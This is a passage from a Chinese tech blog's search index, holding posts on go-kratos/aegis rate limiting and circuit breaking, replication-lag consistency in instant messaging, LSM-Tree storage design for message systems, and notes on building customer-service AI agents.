id=\"一项目全景\"\u003e一、项目全景\u003c/h2\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ego-kratos/aegis\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e├── ratelimit/bbr        # 自适应限流（BBR 算法）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e├── circuitbreaker/sre   # 熔断器（Google SRE 自适应节流）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e├── topk/heavykeeper     # Top-K 热点 key 检测（HeavyKeeper 算法）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e├── hotkey               # 热点 key 自动本地缓存\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e├── subset               # 一致性哈希子集路由\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└── internal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ├── window           # 滑动窗口（环形数组）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ├── consistent       # 一致性哈希\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ├── minheap          # 最小堆\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    └── cpu              # CPU 使用率采样\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e核心哲学\u003c/strong\u003e：用概率和统计代替精确计数，以极低的内存和计算开销换取足够准确的系统保护。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"二bbr-自适应限流\"\u003e二、BBR 自适应限流\u003c/h2\u003e\n\u003ch3 id=\"21-问题背景\"\u003e2.1 问题背景\u003c/h3\u003e\n\u003cp\u003e传统限流通常是硬编码一个 QPS 上限（如\u0026quot;最多 1000 RPS\u0026quot;）。问题在于：\u003c/p\u003e","title":"微服务稳定性兜底：深入解析 go-kratos/aegis 的核心设计"},{"content":"前言 主从复制可以显著提升系统的读能力，但复制滞后会直接破坏多端同步体验。 本文聚焦三个最常见的一致性问题：读自己写、单调读、前缀一致读，以及在即时通讯场景中的对应治理手段。\n读自己的写 读自己写失效：客户端提交了写入，但随后的读取请求被路由到了尚未完成同步的从节点，导致客户端读不到自己刚刚写入的数据。\n用户读自己写数据，强制走主节点。如果大部分数据都修改，会给主库造成巨大压力 用户记录最近更新时间戳，可以是逻辑时间和系统时钟（时钟不可靠）。多设备不适用，并不知道记录的时间戳。 单调读 单调读失效：用户的多次读取请求打到了同步进度不一致的多个副本上，导致用户先看到了较新的数据，随后又看到了较旧的数据，出现了“时光倒流”。\n始终从同一副本读取，例如基于用户id哈希。但是如果副本失效，必须重新路由到另一个副本 前缀一致读 前缀/因果一致性失效：具有因果关系（先后顺序）的写入，由于底层分布式组件的处理速率不一致，导致在第三方的视角中，事件发生的顺序被颠倒。\n将具有因果顺序的都交由一个分区处理。效率低 即时通讯场景下的主从滞后问题 读自己写失效（Read-Your-Writes Anomaly） 多端同步丢失： 用户在手机端发了一条消息，成功写入服务端主库。用户立刻打开电脑端（PC 版）查看，PC 端的拉取请求恰好打到了一个由于网络抖动而延迟了 500 毫秒的 MySQL 从库。结果 PC 端界面上一片空白，用户以为消息没发出去。 解决方案：纯内存 Push 模型跑赢物理复制 放弃让其他在线端去“查”数据库的传统做法。 手机端消息先进入 Kafka，由消息处理服务按会话维度分配 Seq 并完成落库。 后端的 msg_transfer 服务消费 Kafka，定位到 PC 端的 WebSocket 长连接，直接将消息从内存推（Push）过去。 核心逻辑： 内存与网络的流转速度远快于磁盘 IO 和数据库 Binlog 复制。客户端直接利用 Push 过来的数据渲染上屏，从物理架构上彻底绕开了从库延迟的陷阱。 单调读失效（Monotonic Reads Anomaly） 漫游消息凭空消失： 用户断网重连，触发历史消息拉取（Pull）。第一次拉取，网关路由到了延迟极低的从库 A，用户看到了最新的 10 条消息。用户立刻下拉刷新，第二次请求被路由到了卡顿的从库 B，从库 B 还没这 10 条消息。于是，用户屏幕上刚刚还在的 10 条最新聊天记录突然集体消失。 解决方案：客户端主导的严格 Seq 游标 在 OpenIM 中，拉取漫游消息的“游标控制权”在客户端手里，而不是服务端盲查。 客户端本地 SQLite 记录着自己当前看到的最后一条连续消息的 MaxLocalSeq（如 Seq=100）。 发起 Pull 请求时，客户端携带极其明确的条件：“只拉取 Seq \u0026gt; 100 的增量消息”。 核心逻辑： 服务端接收到游标后，会和 Redis 中维护的 ServerMaxSeq 对比。如果查到的从库最新数据只有 Seq=95，服务端立刻判定该副本滞后，可以选择等待、报错或强制回源主库。这保证了客户端拉取的数据永远是向前递增的，彻底封杀时光倒流。 前缀/因果一致性失效（Causal Consistency Anomaly） 旁观者视角的逻辑错乱： 在百人群聊中，用户 A 问：“去不去吃饭？”，用户 B 看到后秒回：“去”。（A 绝对发生在 B 之前）。然而，A 和 B 的消息并发打入服务端，处理 B 的线程极快，处理 A 的线程卡顿，导致 B 的消息先同步到了部分从库。此时，旁观者 C 刷新群聊，竟然先看到了 B 说“去”，过了几秒才看到 A 问“去不去吃饭”。因果逻辑彻底崩塌。 解决方案：Kafka 分区串行化 + 会话内 Seq 发号 步骤 1（先入队）： 消息以 ConversationID 为 Hash Key 投递到 Kafka，确保同一会话的消息进入同一个 Partition。 步骤 2（再发号）： 消息处理服务按 Partition 顺序消费，并为该会话分配严格递增的 Seq，然后落库。 步骤 3（客户端连续性校验）： 就算网络抖动导致 Seq=11 的消息先推给旁观者 C，客户端发现本地缺少 Seq=10 时，会先放入重排缓冲区，待 Pull 补齐后再按序展示。 核心逻辑： 先利用 Kafka 分区保证同会话处理顺序，再用会话内递增 Seq 做最终顺序锚点，最后由客户端状态机兜底连续性。 分布式架构设计：不与底层的物理不确定性（网络抖动、磁盘延迟）死磕，而是通过高层的应用逻辑（Seq、Push/Pull、分区 Hash）来建立确定的秩序\n参考资料 Martin Kleppmann. Designing Data-Intensive Applications. O\u0026rsquo;Reilly Media, 2017. Chapter 5: Replication, sections \u0026ldquo;Reading Your Own Writes\u0026rdquo;, \u0026ldquo;Monotonic Reads\u0026rdquo;, \u0026ldquo;Consistent Prefix Reads\u0026rdquo;. Martin Kleppmann. Designing Data-Intensive Applications. O\u0026rsquo;Reilly Media, 2017. Chapter 9: Consistency and Consensus. ","permalink":"https://buvidk1234.github.io/posts/replication-lag/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e主从复制可以显著提升系统的读能力，但复制滞后会直接破坏多端同步体验。\n本文聚焦三个最常见的一致性问题：读自己写、单调读、前缀一致读，以及在即时通讯场景中的对应治理手段。\u003c/p\u003e\n\u003ch2 id=\"读自己的写\"\u003e读自己的写\u003c/h2\u003e\n\u003cp\u003e读自己写失效：客户端提交了写入，但随后的读取请求被路由到了尚未完成同步的从节点，导致客户端读不到自己刚刚写入的数据。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"read_after_write.png\" loading=\"lazy\" src=\"/images/read_after_write.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e用户读自己写数据，强制走主节点。如果大部分数据都修改，会给主库造成巨大压力\u003c/li\u003e\n\u003cli\u003e用户记录最近更新时间戳，可以是逻辑时间和系统时钟（时钟不可靠）。多设备不适用，并不知道记录的时间戳。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"单调读\"\u003e单调读\u003c/h2\u003e\n\u003cp\u003e单调读失效：用户的多次读取请求打到了同步进度不一致的多个副本上，导致用户先看到了较新的数据，随后又看到了较旧的数据，出现了“时光倒流”。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"monotonic_read.png\" loading=\"lazy\" src=\"/images/monotonic_read.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e始终从同一副本读取，例如基于用户id哈希。但是如果副本失效，必须重新路由到另一个副本\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"前缀一致读\"\u003e前缀一致读\u003c/h2\u003e\n\u003cp\u003e前缀/因果一致性失效：具有因果关系（先后顺序）的写入，由于底层分布式组件的处理速率不一致，导致在第三方的视角中，事件发生的顺序被颠倒。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"consistent_prefix_reads.png\" loading=\"lazy\" src=\"/images/consistent_prefix_reads.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e将具有因果顺序的都交由一个分区处理。效率低\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"即时通讯场景下的主从滞后问题\"\u003e即时通讯场景下的主从滞后问题\u003c/h2\u003e\n\u003ch3 id=\"读自己写失效read-your-writes-anomaly\"\u003e读自己写失效（Read-Your-Writes Anomaly）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e多端同步丢失：\u003c/strong\u003e 用户在手机端发了一条消息，成功写入服务端主库。用户立刻打开电脑端（PC 版）查看，PC 端的拉取请求恰好打到了一个由于网络抖动而延迟了 500 毫秒的 MySQL 从库。结果 PC 端界面上一片空白，用户以为消息没发出去。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e解决方案：纯内存 Push 模型跑赢物理复制\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003e放弃让其他在线端去“查”数据库的传统做法。\u003c/li\u003e\n\u003cli\u003e手机端消息先进入 Kafka，由消息处理服务按会话维度分配 \u003ccode\u003eSeq\u003c/code\u003e 并完成落库。\u003c/li\u003e\n\u003cli\u003e后端的 \u003ccode\u003emsg_transfer\u003c/code\u003e 服务消费 Kafka，定位到 PC 端的 WebSocket 长连接，直接将消息从内存推（Push）过去。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e核心逻辑：\u003c/strong\u003e 内存与网络的流转速度远快于磁盘 IO 和数据库 Binlog 复制。客户端直接利用 Push 过来的数据渲染上屏，从物理架构上彻底绕开了从库延迟的陷阱。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"单调读失效monotonic-reads-anomaly\"\u003e单调读失效（Monotonic Reads Anomaly）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e漫游消息凭空消失：\u003c/strong\u003e 用户断网重连，触发历史消息拉取（Pull）。第一次拉取，网关路由到了延迟极低的从库 A，用户看到了最新的 10 条消息。用户立刻下拉刷新，第二次请求被路由到了卡顿的从库 B，从库 B 还没这 10 条消息。于是，用户屏幕上刚刚还在的 10 条最新聊天记录突然集体消失。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e解决方案：客户端主导的严格 Seq 游标\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003e在 OpenIM 中，拉取漫游消息的“游标控制权”在客户端手里，而不是服务端盲查。\u003c/li\u003e\n\u003cli\u003e客户端本地 SQLite 记录着自己当前看到的最后一条连续消息的 \u003ccode\u003eMaxLocalSeq\u003c/code\u003e（如 Seq=100）。\u003c/li\u003e\n\u003cli\u003e发起 Pull 请求时，客户端携带极其明确的条件：“只拉取 \u003ccode\u003eSeq \u0026gt; 100\u003c/code\u003e 的增量消息”。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e核心逻辑：\u003c/strong\u003e 服务端接收到游标后，会和 Redis 中维护的 \u003ccode\u003eServerMaxSeq\u003c/code\u003e 对比。如果查到的从库最新数据只有 Seq=95，服务端立刻判定该副本滞后，可以选择等待、报错或强制回源主库。这保证了客户端拉取的数据永远是向前递增的，彻底封杀时光倒流。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"前缀因果一致性失效causal-consistency-anomaly\"\u003e前缀/因果一致性失效（Causal Consistency Anomaly）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e旁观者视角的逻辑错乱：\u003c/strong\u003e 在百人群聊中，用户 A 问：“去不去吃饭？”，用户 B 看到后秒回：“去”。（A 绝对发生在 B 之前）。然而，A 和 B 的消息并发打入服务端，处理 B 的线程极快，处理 A 的线程卡顿，导致 B 的消息先同步到了部分从库。此时，旁观者 C 刷新群聊，竟然先看到了 B 说“去”，过了几秒才看到 A 问“去不去吃饭”。因果逻辑彻底崩塌。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e解决方案：Kafka 分区串行化 + 会话内 Seq 发号\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e步骤 1（先入队）：\u003c/strong\u003e 消息以 \u003ccode\u003eConversationID\u003c/code\u003e 为 Hash Key 投递到 Kafka，确保同一会话的消息进入同一个 Partition。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e步骤 2（再发号）：\u003c/strong\u003e 消息处理服务按 Partition 顺序消费，并为该会话分配严格递增的 \u003ccode\u003eSeq\u003c/code\u003e，然后落库。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e步骤 3（客户端连续性校验）：\u003c/strong\u003e 就算网络抖动导致 Seq=11 的消息先推给旁观者 C，客户端发现本地缺少 Seq=10 时，会先放入重排缓冲区，待 Pull 补齐后再按序展示。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e核心逻辑：\u003c/strong\u003e 先利用 Kafka 分区保证同会话处理顺序，再用会话内递增 Seq 做最终顺序锚点，最后由客户端状态机兜底连续性。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e分布式架构设计：不与底层的物理不确定性（网络抖动、磁盘延迟）死磕，而是通过高层的应用逻辑（Seq、Push/Pull、分区 Hash）来建立确定的秩序\u003c/p\u003e","title":"复制滞后与多端同步"},{"content":"1. 概述 LSM-Tree（Log-Structured Merge-Tree）是一种典型的写优化存储结构。它的核心思路是：不追求每次写入都直接落到最终有序位置，而是将写入拆成**\u0026ldquo;前台快速落地 + 后台异步整理\u0026rdquo;**两个阶段。\n设计目标可以归纳为：\n顺序化写入：前台写入以追加为主，避免随机写。 后台整理：异步 Compaction 控制查询路径复杂度。 可调节的权衡：在写吞吐、读延迟和空间占用之间提供调优空间。 2. 整体架构与核心组件 LSM-Tree 的运行依赖以下组件协同工作：\n组件 位置 职责 WAL（Write-Ahead Log） 磁盘 写前日志，保证崩溃恢复 MemTable 内存 有序表，接收实时写入 Immutable MemTable 内存 写满后冻结，等待刷盘 SSTable 磁盘 有序、不可变的持久化文件 Compaction 后台任务 合并 SSTable，版本收敛与空间回收 数据在组件间的流转路径如下：\nflowchart LR W[Write Request] --\u003e L[Append WAL] L --\u003e M[Insert MemTable] M --\u003e|Threshold reached| IM[Immutable MemTable] IM --\u003e F[Flush to SSTable] F --\u003e C[Compaction] C --\u003e S[(Merged SSTables)] 3. 写路径 写入的关键原则是 \u0026ldquo;先确认可恢复，再确认可查询\u0026rdquo;。具体步骤：\n追加 WAL——保证持久化，崩溃后可重放。 更新 MemTable——对外可查。 冻结 MemTable——达到阈值后转为 Immutable。 Flush 为 SSTable——后台将 Immutable MemTable 写入磁盘。 这条路径带来的关键特性：\n前台不做磁盘就地更新，写入代价可预期。 磁盘 I/O 模式以追加和顺序刷盘为主。 崩溃恢复依赖 WAL 重放，而非 undo/redo 日志。 4. 读路径 点查按 \u0026ldquo;由新到旧\u0026rdquo; 的顺序逐层查找：\nMemTable Immutable MemTable SSTable 层级（从新到旧） 由于可能涉及多层查找，读路径通常依赖以下加速结构来减少 I/O：\n加速结构 作用 Bloom Filter 快速排除不存在 key 的 SSTable Block Index 缩小需要读取的数据块范围 Block Cache 缓存热点数据块，减少磁盘访问 Bloom Filter 的特性：\n可能 false positive：过滤器判断\u0026quot;可能存在\u0026quot;，但实际 key 不在该 SSTable 中——此时需要继续读取确认。 不会 false negative：过滤器一旦判断\u0026quot;不存在\u0026quot;，则该 key 一定不在该 SSTable 中——可安全跳过。 对实际查询的意义：不存在的 key 可以被快速排除，大幅减少无效 I/O；存在的 key 仍需结合索引和数据块完成最终读取。\n5. Compaction Compaction 是 LSM-Tree 的核心后台机制。虽然名称中带有\u0026quot;压缩\u0026quot;的含义，但它并非像 gzip 那样对数据做编码压缩，而是通过合并文件、收敛版本、清理过期数据来维护读性能和空间可控性。\n主要任务：\n合并 SSTable，降低文件数量，控制读放大。 对同一 key 进行版本收敛，只保留最新有效版本。 清理已过期的 tombstone 标记，回收磁盘空间。 对应代价：\n增加写放大（Write Amplification）。 占用后台 I/O 带宽，可能引起尾延迟抖动。 常见策略：\n策略 写放大 读放大 空间放大 典型使用 Size-Tiered 低 高 高 Cassandra 默认 Leveled 高 低 低 LevelDB / RocksDB Size-Tiered Compaction（STCS）：当同一层积累了若干个大小相近的 SSTable 后，将它们合并为一个更大的 SSTable 推入下一层。写入时只需攒够数量即触发，因此写放大低；但同一个 key 可能同时存在于多个 SSTable 中，点查需要遍历多个文件，读放大高；合并前后新旧文件共存，空间放大也高。\nLeveled Compaction：将 SSTable 组织为多个层级（L0、L1、L2…），每层有容量上限。当某层超限时，选取部分 SSTable 与下一层中 key 范围重叠的文件合并。这保证了 L1+ 每层内 key 范围不重叠——点查在每层最多访问一个文件，读放大低；但每次合并都可能涉及多个文件重写，写放大高。\n实际系统往往混合使用两种策略，例如 RocksDB 在 L0 采用类 Size-Tiered 模式（允许 key 重叠），L1+ 采用 Leveled 模式（保证层内无重叠）。\n6. 三类放大与调优 LSM-Tree 的调优本质是在三类放大之间寻求平衡：\nWA（Write Amplification）：同一份数据在生命周期内被写入磁盘的总次数。 RA（Read Amplification）：一次逻辑读取需要访问的物理 I/O 次数。 SA（Space Amplification）：实际占用空间与有效数据量的比值。 建议长期观测以下指标，而不是只看单点 QPS：\n维度 关键指标 写路径 P99 写延迟、写入吞吐、写放大比 读路径 P99 点查延迟、缓存命中率、Bloom 误判率 后台任务 Compaction backlog、后台 I/O 占比、尾延迟抖动 空间 压缩率、tombstone 清理周期、磁盘增长率 7. LSM-Tree 与 B+Tree 对比 两者的本质差异在于：是否接受\u0026quot;后台异步整理换取前台写入稳定\u0026quot;。\n维度 LSM-Tree B+Tree 写入模型 追加写 + 后台合并 就地更新 + 页分裂/重平衡 随机写压力 低 高 点查稳定性 受层数/缓存命中率影响 路径固定，波动较小 范围查询 跨文件归并 叶子链顺序扫描 后台维护 Compaction 调度 页管理与分裂管理 没有绝对优劣——写密集场景（日志、时序、消息）偏向 LSM；读密集且要求点查延迟稳定的场景（OLTP 事务）偏向 B+Tree。\n8. 消息存储选型 前面讨论了 LSM-Tree 的通用原理，这一节聚焦一个具体问题：消息系统的在线存储应该选什么引擎？\n8.1 业务约束分析 消息系统的存储层面临以下典型约束：\n写入模式：每条消息写入一次，几乎不更新。峰值写入量可能是均值的 5-10 倍（如早高峰、活动推送）。 读取模式：绝大多数读取集中在最近消息（打开会话加载最新 N 条）。历史消息翻页频率低，属于冷路径。 顺序性要求：同一会话内的消息必须按序返回，跨会话无全局排序需求。 延迟要求：发送端写入延迟需稳定在低毫秒级；接收端拉取最近消息延迟要求 P99 可控。 数据生命周期：消息存在明显的冷热分界——最近 7 天的数据承载 90%+ 的读取量。 8.2 为什么 LSM 适合这个场景 将上述约束逐条映射到 LSM 的特性：\n业务约束 LSM 的匹配点 写入一次不更新 追加写模型，无就地更新开销 峰值写入高 前台只写 MemTable，不受磁盘随机 I/O 限制 最近消息热读 Block Cache 可覆盖热数据，减少磁盘访问 会话内顺序读 RowKey 按会话分区 + 时间排序，SSTable 内数据天然有序 冷热分界明显 配合 TTL 和分层 Compaction，冷数据自动下沉 相比之下，B+Tree 型关系存储在高写吞吐场景下面临随机写放大和页分裂压力，水平扩展也需要额外的分库分表方案。\n8.3 RowKey 设计 RowKey 的设计直接决定数据在 SSTable 中的物理布局，进而影响读取效率：\nTEXTRowKey = {conversation_id}#{msg_sequence} conversation_id 作为前缀保证同会话数据在 SSTable 中物理相邻，范围扫描高效。 msg_sequence 使用单调递增序列（如 Snowflake ID），保证会话内消息有序。 避免使用时间戳作为唯一排序键——高并发下时间戳可能重复，且纯时间前缀会导致写入热点集中在少数 SSTable。 8.4 冷热分离 在线层不应承载全生命周期数据，否则 Compaction 的空间放大会持续增长：\n热数据层（最近 N 天）：LSM 引擎（如 RocksDB / Cassandra），配合 Block Cache 保证低延迟读取。 冷数据层（历史归档）：异步归档到对象存储（如 S3 / MinIO），按会话打包，仅在用户主动翻页时按需加载。 过渡策略：通过 TTL 自动过期 + 后台归档任务，而非手动迁移。 9. 总结 LSM-Tree 适用于写密集场景，其核心取舍是用后台 Compaction 成本换取前台写入的高吞吐与顺序性。使用 LSM 的前提是：系统能够持续承担 Compaction 带来的写放大和 I/O 开销，并具备对三类放大（WA / RA / SA）进行长期观测与调优的能力。\n参考资料 Martin Kleppmann. Designing Data-Intensive Applications. O\u0026rsquo;Reilly Media, 2017. Chapter 3: Storage and Retrieval, section \u0026ldquo;SSTables and LSM-Trees\u0026rdquo;. Fay Chang, Jeffrey Dean, Sanjay Ghemawat, et al. Bigtable: A Distributed Storage System for Structured Data. OSDI, 2006. ","permalink":"https://buvidk1234.github.io/posts/lsm-tree/","summary":"\u003ch2 id=\"1-概述\"\u003e1. 概述\u003c/h2\u003e\n\u003cp\u003eLSM-Tree（Log-Structured Merge-Tree）是一种典型的\u003cstrong\u003e写优化\u003c/strong\u003e存储结构。它的核心思路是：不追求每次写入都直接落到最终有序位置，而是将写入拆成**\u0026ldquo;前台快速落地 + 后台异步整理\u0026rdquo;**两个阶段。\u003c/p\u003e\n\u003cp\u003e设计目标可以归纳为：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e顺序化写入\u003c/strong\u003e：前台写入以追加为主，避免随机写。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e后台整理\u003c/strong\u003e：异步 Compaction 控制查询路径复杂度。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e可调节的权衡\u003c/strong\u003e：在写吞吐、读延迟和空间占用之间提供调优空间。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"2-整体架构与核心组件\"\u003e2. 整体架构与核心组件\u003c/h2\u003e\n\u003cp\u003eLSM-Tree 的运行依赖以下组件协同工作：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e组件\u003c/th\u003e\n          \u003cth\u003e位置\u003c/th\u003e\n          \u003cth\u003e职责\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eWAL（Write-Ahead Log）\u003c/td\u003e\n          \u003ctd\u003e磁盘\u003c/td\u003e\n          \u003ctd\u003e写前日志，保证崩溃恢复\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eMemTable\u003c/td\u003e\n          \u003ctd\u003e内存\u003c/td\u003e\n          \u003ctd\u003e有序表，接收实时写入\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eImmutable MemTable\u003c/td\u003e\n          \u003ctd\u003e内存\u003c/td\u003e\n          \u003ctd\u003e写满后冻结，等待刷盘\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSSTable\u003c/td\u003e\n          \u003ctd\u003e磁盘\u003c/td\u003e\n          \u003ctd\u003e有序、不可变的持久化文件\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCompaction\u003c/td\u003e\n          \u003ctd\u003e后台任务\u003c/td\u003e\n          \u003ctd\u003e合并 SSTable，版本收敛与空间回收\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e数据在组件间的流转路径如下：\u003c/p\u003e\n\u003cdiv class=\"mermaid\"\u003eflowchart LR\n\tW[Write Request] --\u003e L[Append WAL]\n\tL --\u003e M[Insert MemTable]\n\tM --\u003e|Threshold reached| IM[Immutable MemTable]\n\tIM --\u003e F[Flush to SSTable]\n\tF --\u003e C[Compaction]\n\tC --\u003e S[(Merged SSTables)]\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"3-写路径\"\u003e3. 写路径\u003c/h2\u003e\n\u003cp\u003e写入的关键原则是 \u003cstrong\u003e\u0026ldquo;先确认可恢复，再确认可查询\u0026rdquo;\u003c/strong\u003e。具体步骤：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e追加 WAL\u003c/strong\u003e——保证持久化，崩溃后可重放。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e更新 MemTable\u003c/strong\u003e——对外可查。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e冻结 MemTable\u003c/strong\u003e——达到阈值后转为 Immutable。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFlush 为 SSTable\u003c/strong\u003e——后台将 Immutable MemTable 写入磁盘。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这条路径带来的关键特性：\u003c/p\u003e","title":"LSM-Tree 原理与消息存储选型"},{"content":"1. 客服agent 客户问题种类： 事实类问题、诊断类问题、模糊类问题、其他问题等\n诊断类问题\n解释问题 VS 解决问题 React Agent 从Agent的最开始，LLM先思考（Thought），然后触发动作（Action）和输入（Action Input），之后执行并观察工具执行结果（Observation），如果观察的效果不满足需求，会重回到思考阶段，最后生成最终回答（Final Answer）\n选择API、反问、提取入参、执行API的准确度\n“问题识别” -\u0026gt; “查询SOP工具” -\u0026gt; “反问客户、获取信息” -\u0026gt; “根据信息查询工具” -\u0026gt; “查询到工具执行结果” -\u0026gt; “根据执行结果来回复客户” -\u0026gt; “客户继续沟通” -\u0026gt; \u0026hellip; -\u0026gt; “解决问题” TEXT用户提问 -\u0026gt; 判断意图 -\u0026gt; 模糊 -\u0026gt; 追问 -\u0026gt; 清楚 - 需要进入agent? -\u0026gt; api检索 -\u0026gt; api选择 -\u0026gt; 参数判断 -\u0026gt; 参数组装 -\u0026gt; 动作执行 -\u0026gt; 观察结果 -\u0026gt; 生成答案 -\u0026gt; 不足 -\u0026gt; 追问 问题与优化 在实际业务落地的情况下，需要考虑几个因素：执行效果、整体耗时、大模型生成成本、API调用成本等等诸多因素，如果效果好，但是耗时太久，或者大模型的生成成本（token、qps）、API的调用成本（qps）等都太高，那么也未必有好的用户体验。\n多步调用耗时，将api做到开箱即用，支持多种传参方式，减少对用户的询问。 慢api作异步处理，前端显示卡片展示进度。 构造高质量的训练数据集来对模型进行Finetune训练，让大模型在选择API、反问、提取入参、执行API的准确度上都尽可能的高 2. why agent? agent: 让大模型“代理/模拟”「人」的行为，使用某些“工具/功能”来完成某些“任务”的能力。\nAgent = 大模型（LLM）+ 规划（Planning）+ 记忆（Memory）+ 工具使用（Tool Use）\n降低应用开发门槛 简化流程复杂度 交互方式多样性 协同完成复杂任务 挑战 速度慢 模型层面：\nKV cache, 模型参数裁剪，模型蒸馏, 量化技术\n工程层面：\n大文本、大文档的读取，可以使用预处理的方式将其切块，prompt压缩\n幻觉 引导Prompt的规范化书写，基于慢思考的System2，GraphRAG，Agent预编译能力\nOpenManus 解析目标 -\u0026gt; 生成初始 Todo List。 进入死循环（While \u0026lt; maxSteps）： 只要 Todo List 没清空，就一直循环。 取出一个任务 -\u0026gt; 思考（Reasoning） -\u0026gt; 选择工具（Action） -\u0026gt; 在沙盒执行 -\u0026gt; 观察结果（Observation）。 根据结果 -\u0026gt; 更新上下文 -\u0026gt; 动态修改或划掉 Todo List -\u0026gt; 进入下一次循环。 所有任务完成 -\u0026gt; 汇总输出结果。 任务规划 -\u0026gt; 任务执行 -\u0026gt; 任务反思\n将任务拆分为粗粒度子任务，依次执行每个子任务，执行子任务时进一步拆分细粒度任务，执行出错进行调整，执行过程中生成todo list\n构建高可用agent 关于agent的一些争论 智能体 vs 代理： Agent一定是要“智能”的吗？这意味着Agent是否必须是由LLM驱动？满足“代理”能力的程序、代码块是否可以叫Agent？\n自主规划 vs 工作流： Agent一定是要能“自主规划”吗？预定义好的规划（如Workflow），是否能被叫做Agent？\n函数调用 vs 角色扮演： Agent一定要实现函数调用吗？如果只是通过Prompt完成一段指令，是否被称作Agent？Agent一定要有“人”的属性吗？角色扮演类的LLM，是否属于Agent？\n落地过程中的挑战 运行效果不稳定 提示词不能稳定运行，大模型不能严格按照提示词的指示执行 提示词模板，AI辅助做提示词生成和调优\n规划如何平衡 自主规划和workflow如何平衡，太自主会脱离预期乱执行，硬编码workflow会花费大量人力成本。 Agentic RAG，大模型自主生成搜索的query，进行搜索\n领域信息集成 如何将领域信息或者领域知识注入到大模型里面 Prompt中动态领域: 动态引入领域先验知识，通过类似RAG的方式根据场景动态搜索和匹配加载领域的知识或者业务经验 引入外部技能: 通过调用领域工具、知识库、文档等，让LLM有更多方式自主选择获取领域数据 领域大模型训练: 通过模型预训练、后训练等多阶段的训练\nAgent的响应速度 